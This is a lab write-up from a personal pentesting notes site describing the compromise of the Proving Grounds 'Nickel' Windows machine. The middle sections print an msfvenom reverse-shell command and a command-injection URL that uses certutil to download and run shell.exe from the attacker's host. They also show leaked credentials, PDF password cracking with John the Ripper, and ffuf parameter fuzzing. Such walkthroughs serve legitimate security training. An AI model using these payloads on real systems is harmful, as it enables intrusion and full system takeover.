Hacker Kayra
  • 📍Introduction Page
  • ⭐Learning Process
    • 🧠Learning Mindset
    • 🖇️Learning Dependencies
    • 🧮Learning Process
  • 🔠Fundamentals
    • 🛜Networking Fundamentals
    • 🐧Linux Fundamentals
    • 🪟Windows Fundamentals
    • 🕵️Active Directory
    • 🕸️Introduction to Web Applications
    • 🗃️Other Useful Concepts
      • Regular Expressions (RegEx)
    • Cyber Security Products
      • Lab Setup
      • ✅Fortigate Firewall
      • MDM Lab
      • IAM Lab
      • PAM Lab
      • DLP Lab
  • 🧰Tools
    • Nmap
    • Nessus
    • Ffuf
    • Hydra
    • John The Ripper
  • ✍️Write Ups
    • 🗃️Hack The Box Machines
      • 🐧Linux
        • Code
    • 🗃️Proving Grounds Boxes
      • 🐧Linux
        • Stapler
        • eLection
        • Loly
        • Blogger
        • Potato
        • Amaterasu
        • Exfiltrated
        • Pelican
        • Astronaut
        • Cockpit
        • Levram
        • Extplorer
        • LaVita
        • pc
        • Scrutiny
        • Zipper
        • Flu
        • Twiggy
        • Codo
        • Crane
        • Hub
        • BlackGate
        • Boolean
        • ClamAV
        • PayDay
        • Snookums
        • Bratarina
        • Nibbles
      • 🪟Windows
        • Algernon
        • AuthBy
        • Craft
        • Kevin
        • Squid
        • Jacko
        • DVR4
        • Hepet
        • Shenzi
        • Nickel
        • Slort
        • MedJed
        • Active Directory
          • Access
          • Vault
    • 🪪Certificates
      • Certified Professional Penetration Tester (eCPPTv3)
      • Web Application Penetration Tester eXtreme (eWPTXv3)
    • 🚩CTF Events
      • Cyber Hub 2025 CTF
  • 📚Study Notes
    • Penetration Tester (HTB CPTS)
      • Penetration Testing Process
      • Reconnaissance, Enumeration & Attack Planning
        • Network Enumeration with Nmap (Continue Here)
        • Footprinting (Just Do Formatting)
        • Vulnerability Scanning (Check)
        • File Transfers
        • Using the Metasploit Framework
        • Web Information Gathering
        • Shells & Payloads
      • Exploitation & Lateral Movement
        • Attacking Common Services (Just Do Formatting)
        • Password Attacks
        • Active Directory Enumeration & Attacks (TBC)
        • Pivoting, Tunneling, and Port Forwarding
      • Web Exploitation
        • Using Web Proxies (Check)
        • Attacking Web Applications With Ffuf (Check)
        • Login Bruteforcing
        • Cross-Site Scripting (XSS)
        • Command Injection
        • SQL Injection
        • File Upload Attacks
        • File Inclusion
        • Web Attacks (Check)
        • Attacking Common Applications (Check)
      • Post-Exploitation
        • Linux Privilege Escalation
        • Windows Privilege Escalation (TBC)
      • Documentation & Reporting
  • 🧑‍💻Other
    • Leet Code
      • Quick Guide: Big-O Notation
      • Problem 01 - Two Sum
    • Data Structure & Algorithms (DSA)
  • 🗄️Archive/Backup/Bin
    • Sysmon Usecases (IBM)
    • 🐧Linux Fundamentals (TryHackMe)
      • Introduction
      • Basic Commands
      • Wildcards & Operators
      • Permissions
      • Common Directories
      • Terminal Text Editors
      • General/Useful Utilities
    • 🪟Windows Fundamentals (TryHackMe)
      • Introduction
      • The File System
      • User Accounts
      • Settings & Control Panel & Task Manager
      • System Configuration
    • Active Directory (TryHackMe)
      • Breaching Active Directory
    • FOR508: Advanced Incident Response, Threat Hunting, and Digital Forensics
      • Book 2 - Intrusion Analysis
        • Credential Theft
        • Event Log Analysis for Responders and Hunters
    • Certified Threat Hunting Professional (eCTHPv2)
      • Threat Hunting: Hunting the Endpoint & Endpoint Analysis
        • Event IDs, Logging, & SIEMs
    • OSCP
      • Report Writing
      • ✅Passive Information Gathering
      • ✅Active Information Gathering
      • ✅Vulnerability Scanning
      • Introduction to Web Application Attacks
      • Common Web Application Attacks
        • ✅Cross-Site Scripting (XSS)
        • ✅Directory Traversal
        • ✅File Inclusion
        • ✅File Upload Vulnerabilities
        • Command Injection
        • SQL Injection Attacks
        • Client Side Attacks
      • ✅Locating Public Exploits
      • ✅Exploiting Walkthrough
      • Fixing Exploits
      • ✅Antivirus Evasion
      • Password Attacks
      • Windows Privilege Escalation
      • Linux Privilege Escalation
      • Port Redirection and SSH Tunneling
      • Tunneling Through Deep Packet Inspection
      • The Metasploit Framework
      • Active Directory Introduction & Enumeration
      • Attacking Active Directory Authentication
      • Lateral Movement in Active Directory
      • Assembling the Pieces
      • Other General Information
    • ⚡Port Swigger (Web Penetration Testing)
      • ✅Information Disclosure
      • ✅Path Traversal (Directory Traversal)
      • ✅OS Command Injection
      • Business Logic Vulnerabilities
      • ✅Authentication
      • ✅Access Control
    • Certified Bug Bounty Hunter (CBBH)
      • Web Requests
        • HTTP Fundamentals
    • Getting Started
      • Introduction
      • Pentesting Basics
    • Certified Penetration Testing Specialist (CPTS)
      • Introduction
        • ✅Penetration Testing Process
          • Penetration Testing Overview
          • Laws & Regulations
          • Penetration Testing Process
          • Pre-Engagement
          • Information Gathering
          • Vulnerability Assessment
          • Exploitation
          • Post-Exploitation
          • Lateral Movement
          • Proof-of-Concept
          • Post-Engagement
          • Practice
          • Academy Module Layout
        • Getting Started with Hack The Box (HTB)
      • Reconnaissance, Enumeration & Attack Planning
        • ✅Network Enumeration with Nmap
          • Enumeration & Introduction to Nmap
          • Host Discovery
          • Host and Port Scanning
          • Saving The Results
          • Service Enumeration
          • Nmap Scripting Engine
          • Scanning Performance
          • Firewall and IDS/IPS Evasion
        • Footprinting
        • ✅Information Gathering - Web Edition
          • Introduction
          • Passive Information Gathering
          • Active Information Gathering
        • Vulnerability Assessment
        • File Transfers
        • Shells & Payloads
        • Using the Metasploit Framework
      • Exploitation & Lateral Movement
        • Password Attacks
        • Attacking Common Services
        • Pivoting, Tunneling, and Port Forwarding
        • Active Directory Enumeration & Attacks
      • Web Exploitation
        • Using Web Proxies
        • ✅Attacking Web Applications with Ffuf
        • ✅Login Brute Forcing
        • SQL Injection Fundamentals
        • SQLMap Essentials
        • Cross-Site Scripting (XSS)
        • File Inclusion
        • File Upload Attacks
        • Command Injections
        • Web Attacks
        • Attacking Common Applications
      • Post-Exploitation
        • Linux Privilege Escalation
        • Windows Privilege Escalation
      • Reporting & Capstone
        • Documentation & Reporting
        • Attacking Enterprise Networks
    • Old Active Directory
    • Tib3rius Privilege Escalation
      • Linux Privilege Escalation
    • HTB Archived Write-Ups (Check)
      • Irked
      • Nibbles
      • Brainfuck
      • Lame (Check)
    • 📋Cheat Sheets
      • Penetration Testing Cheat Sheet (In Progress)
Powered by GitBook
On this page
  • Enumeration & Reconnaissance
  • Service Analysis
  • Gaining Initial Access
  • Privilege Escalation
  • Lessons Learned
  1. Write Ups
  2. Proving Grounds Boxes
  3. Windows

Nickel

PreviousShenziNextSlort

Last updated 2 months ago

Source: Proving Grounds OS: Windows Community Rating: Hard

Enumeration & Reconnaissance

  • I started with autorecon as usual and found these ports open: FTP (21), SSH (22), HTTP (80), 135, 139, 445, 3389, 5040, 7680, 8089, HTTP (33333), 49664 -> 49669

Service Analysis

  • FTP didn’t allow anonymous connections so I skipped that and started with HTTP. Upon opening HTTP (80), I saw a blank page displaying: "dev-api started at 2024-08-02T13:35:17"

  • That was promising, maybe I need to fuzz for an endpoint. I checked the fuzzers but nothing came out. I looked at robots.txt and got the message: "Incorrect Parameter"

  • Interesting. I recalled a technique from HTB about Parameter Fuzzing. But I didn’t even need to go that far; I simply added a "?aaa" parameter with random text and got an error: Error while executing 'aaa'

  • Curious, I tried an actual command: appending "?whoami" returned that I was "nt authority\system".

  • I uploaded a reverse shell and got a connection as SYSTEM, literally that easy!

msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=192.168.45.170 LPORT=8178 # Generate the shell

http://192.168.213.99/?certutil%20-urlcache%20-split%20-f%20http%3A%2F%2F192.168.45.170%3A901%2Fshell.exe # Upload the Shell

http://192.168.213.99/?.%5Cshell.exe # Execute the Shell
  • I was shocked because this machine is rated as Intermediate by OffSec and Hard by the community. I thought it might be bugged, so I reverted the machine and tried again but same result. I checked writeups and they had a different approach, so I started again and planned to report it as a bug to OffSec once I was done.

  • Port 33333 was promising as well. It had three endpoints:

    • list-current-deployments

    • list-running-procs

    • list-active-nodes

  • I tried running them but the IP address and port number were hardcoded in the HTML:

  • I then retried using the machine’s IP address. Now we were getting somewhere, the response I got: Cannot "GET" /list-current-deployments

Gaining Initial Access

  • I suspected that we need to try another HTTP method. I started Burp and changed the HTTP Method to POST.

  • The first API returned "Not Implemented", but the second API returned a list of processes. One process included a command line that revealed a password for the user:

/name : cmd.exe
commandline : cmd.exe C:\windows\system32\DevTasks.exe --deploy C:\work\dev.yaml --user ariah -p "Tm93aXNlU2xvb3BUaGVvcnkxMzkK" --server nickel-dev --protocol ssh
  • Bingo, this was our breakthrough. I tried the password on SSH, but it didn’t work. It was too long for a password; perhaps it was encrypted or hashed, I thought. I opened CyberChef and ran the Magic function. It indeed was encoded in Base64. The actual password turned out to be: NowiseSloopTheory139

Privilege Escalation

  • Using the password found, I logged into SSH. Once in, I uploaded WinPEAS right away. I also checked FTP using the same credentials while WinPEAS was running. There, I found a file named Infrastructure.pdf.

  • The PDF was protected with a password. Initially, I set it aside as a potential rabbit hole, and I checked WinPEAS for any other privilege escalation vectors, but nothing else stood out. I came back to the FTP share and decided to give the PDF a shot. I used pdf2john to format it for John the Ripper and cracked the password:

pdf2john Infrastructure.pdf > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
  • It found the password: ariah4168. I opened the PDF, and it referenced the initial parameter that I had exposed. It turns out this is the privilege escalation vector, not a bug, but it was supposed to be discovered after initial access and cracking the PDF password. I was just maybe lucky to discover it at the beginning.

  • If the "?aaa" trick hadn’t worked at the beginning, I would have approached it more systematically by using ffuf to fuzz parameters and eventually find it. For example:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://192.168.213.99?FUZZ=key
  • This would expose multiple false positives (all responses would be 200). Then, by filtering the results, say, by using the word count since all normal responses returned 46 words—you could run:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://192.168.213.99?FUZZ=key -fw 46
  • This would expose fewer results; for example, one such result might be: http://192.168.213.99/?23=key Which returns:

"dev-api started at 2024-08-02T13:35:17 Error while executing '23=key'
At line:1 char:1
  + 23=key
  + ~~
The assignment expression is not valid. The input to an assignment operator must be an object that is able to accept assignments, such as a variable or a property."
  • That systematic approach would have helped identify the parameter if I hadn’t been so lucky with "?aaa".

Lessons Learned

  • Parameter fuzzing can be extremely effective; even a simple test like adding "?aaa" may expose vulnerabilities without a full-scale fuzzer.

  • If simple tests work, having a systematic approach, by fuzzing, is a good backup plan.

  • Always check API endpoints when available; hardcoded IPs might need to be replaced with the target’s IP.

  • Converting encoded strings (using tools like CyberChef) is crucial to reveal hidden credentials.

  • Even when an obvious vector (like FTP or HTTP) yields no results, combining information from multiple services (HTTP parameter fuzzing, process listings, and file password cracking) can reveal the path to privilege escalation.

✍️
🗃️
🪟
HTTP (80)
Incorrect Parameter
SYSTEM
Reverse Shell
DevOps Dashboard
Hardcoded Endpoints
Not Implemented
Credentials Leak
Password Decoded
PDF File
PDF Password Cracked
PDF File Content
Fuzzing using ffuf